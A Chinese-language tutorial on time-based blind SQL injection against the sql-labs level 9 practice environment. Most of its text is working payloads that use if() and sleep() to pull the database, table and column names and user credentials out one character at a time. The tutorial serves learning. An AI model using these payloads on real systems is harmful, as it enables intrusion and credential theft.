时间盲注简介
时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。(除了看不懂,哪都好)。
利用sql-labs第九关进行实操演示
判断闭和符号
由于页面无法返回正确或错误的值,所以只能通过if加sleep函数解决问题
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,1,sleep(1))即输出一
if(1=2,1,sleep(1))即延迟一秒后回显
刚刚就闭合符号进行了一点思索,结果就是如果构成闭合,则会执行闭合后的代码,且闭合内部的代码并不会被执行(这样就可以很好解释这次的闭合符号了)
反应了三秒,所以证明闭合符号为’
判断库名长度
?id=1' and if(length(database())>8,sleep(2),0) --+
判断库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+
此为判断第一个字母的ascii码是否为115
判断第二个字母为e
以此类推,数据库名为security
判断表名
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+
其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(1),0)--+
得第一个表的第一个字母的ascii码为101,即为e
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(3),0)--+
第一个表得第二个字母ascii码为109,即为m
以此类推,第一个表名为emails
但是我们要找寻user,所以逐个尝试
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+
第四个表名得一个字母为我们所寻找的user中的u
判断列名
?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+
第一列的第一个字母为i
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),2,1))=100,sleep(2),1)--+
第二字母为d
依次往下爆,得到
第一列:id
第二列:username
第三列:password
爆数据
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+
第一个字母为D
?id=1' and If(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(2),1)--+
第二个字母为u
依次类推得到
username:Dumb
password:Dumb
总结
就时间盲注和布尔盲注来说,本质上都差不多,但是操作起来都太麻烦了。
手注,只是了解原理,真正实战还是要借用工具,比如sqlmap之类的。